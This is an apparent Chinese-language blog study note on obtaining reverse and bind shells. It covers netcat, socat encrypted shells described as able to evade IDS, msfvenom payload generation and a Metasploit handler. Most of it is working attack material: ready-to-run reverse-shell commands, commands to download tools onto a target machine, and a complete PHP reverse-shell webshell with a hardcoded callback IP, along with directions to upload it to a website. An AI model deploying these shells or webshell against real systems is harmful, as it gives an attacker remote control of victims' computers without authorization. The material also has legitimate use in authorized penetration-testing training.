Shell

shell 就是我们在与命令行环境 (CLI) 交互时使用的工具。如,Linux上的shbash,Windows上的cmd.exePowershell.

Reverse shell 是指建立一条反向连接,在攻击者与受害者之间建立一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。

Bind shell"是指在受害者计算机上开启一个服务端口,待攻击者与此端口建立连接后,即可获得一个交互式 shell,使得攻击者可以远程控制被攻击者的计算机。

常用工具:

Netcat:是传统的网络“瑞士军刀”。可用于接收反向 shell,并连接到绑定在目标系统上的远程端口。

Socat:加强版的netcat.

Metasploit:用于接收反向shell.

Msfvenom:可用于生成Payload。

Payload all the Things

Reverse Shell Cheatsheet

SecLists repo【可以安装到Linux系统中】

在线生成shell

Kali Linux 还预装了位于 /usr/share/webshells

Demo:

demo

Netcat

升级shell

  1. Python

    • 一般都会装有Python,所以可以使用Python相关的命令,运行一段短代码
    python -c 'import pty;pty.spawn("/bin/bash")'

    出现错误`/bin/sh: 4: python: not found的原因可能是需要指定Python版本,比如python2python3,此时应该升级成功了,但仍然不能使用 Tab 自动补全。

    • 输入export TERM=xterm并回车

      export TERM=xterm 命令是在 Linux 和 Unix 系统中用来设置环境变量 TERM 的值为 xterm。而 TERM 变量通常用于指定当前终端的类型,以便于操作系统和应用程序了解如何与终端进行交互。

      export TERM=xterm 命令可以使我们更好地进行基于字符界面的应用程序开发和调试,并确保这些应用程序使用正确的屏幕尺寸、颜色参数和其他终端特性。

    • 快捷键Ctrl + Z,将shell挂到后台,并输入stty raw -echo; fg回车.至此,shell升级成功。(此时Ctrl + C不会关闭掉反弹的shell,且Tab可以自动补全了)

      stty raw -echo 是一个 Linux/Unix 命令,用于设置终端的输入模式和输出模式。具体来说,它将终端设置为“原始模式”(raw mode),这意味着输入字符不会被缓存,而是立即传递给程序进行处理。同时,它还关闭了回显功能,这意味着输入的字符不会被显示在终端上。

      需要注意的是,使用 stty raw -echo 命令会将终端设置为原始模式,这可能会导致一些不便。因此,在使用完毕后,应该使用 stty cooked echo 命令将终端设置回标准模式

      Tips:如果 shell 死机,您自己终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请键入 reset 并按回车键。

​ 具体流程:

2023-05-07T13:44:56.png

  1. rlwrap

    • 需要安装 apt install rlwrap,监听时使用

      $ rlwrap nc -lvnp <port>

      更适应于Windows。在Linux下,可以使用Ctrl + Z,在输入stty raw -echo;fg回车。结束使用时要stty cooked echo

  2. socat

    • 使用更强大的socat(对于Linux而言)
    • 可以通过攻击机进行python -m http.server(默认是8000端口)和目标机进行wget http://att_ip:8000/socat来把文件下载到目标机上。powershell还可以通过Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
    • ---> 修改终端格式可以使用 stty指令

      • 先使用stty -a查看
        2023-05-07T13:45:09.png
      • 在反弹的shell中进行修改stty rows 25stty cols 90
        --> (这将改变终端的注册宽度和高度)

Socat

Linux安装 apt install socat

简单使用: 攻击机上使用 socat TCP-L:<port> - (相当于nc -lvnp <port>),目标机上使用 socat TCP:<攻击机IP>:<port> EXEC:/bin/bash 或cmd.exe(具体根据平台)

Linux环境下使用:
socat TCP-L:<PORT> EXEC:"bash -li"
Windows环境下使用:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

socat 加密shell

socat 的众多优点之一是它能够创建加密的 shell 。通常能够绕过 IDS。

  1. 先生成证书

    openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
    此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。其他信息可直接回车留白

    合并shell.keyshell.crt.pem文件。指令cat shell.key shell.crt > shell.pem

    接下来就是监听(右边)和执行shell了(左边)

2023-05-07T13:45:24.png

  1. 反向shell:
    攻击机:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
    目标机:socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
  2. Bind shell:
    Target: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
    Attacker:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

msfvenom

主要用于为反向和绑定 shell 生成代码

基本语法msfvenom -p <PAYLOAD> <OPTIONS>

举个栗子:(生成Windows x64的反向shell指令可以是)

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

-f:指定输出格式;-o:指定文件名和位置;LHOST:要监听的IP

webshell

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.17.34.225';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}
?> 

修改IP和端口,上传到网站上,在本地使用nc -lvnp <port>监听,并访问文件地址即可

对于Windows系统来说,可以使用msfvenom来生成.exe文件

msfconsole

使用msfconsole监听基本步骤

$ msfconsole
msf> use multi/handler
msf(multi/handler)> set payload windows/x86/meterpreter/reverse_tcp
msf(multi/handler)> set lhost local-ip
msf(multi/handler)> set lport <port>

查看payload类型,可以通过msfvenom --list查看。

Last modification:May 7, 2023
请我喝瓶冰阔落吧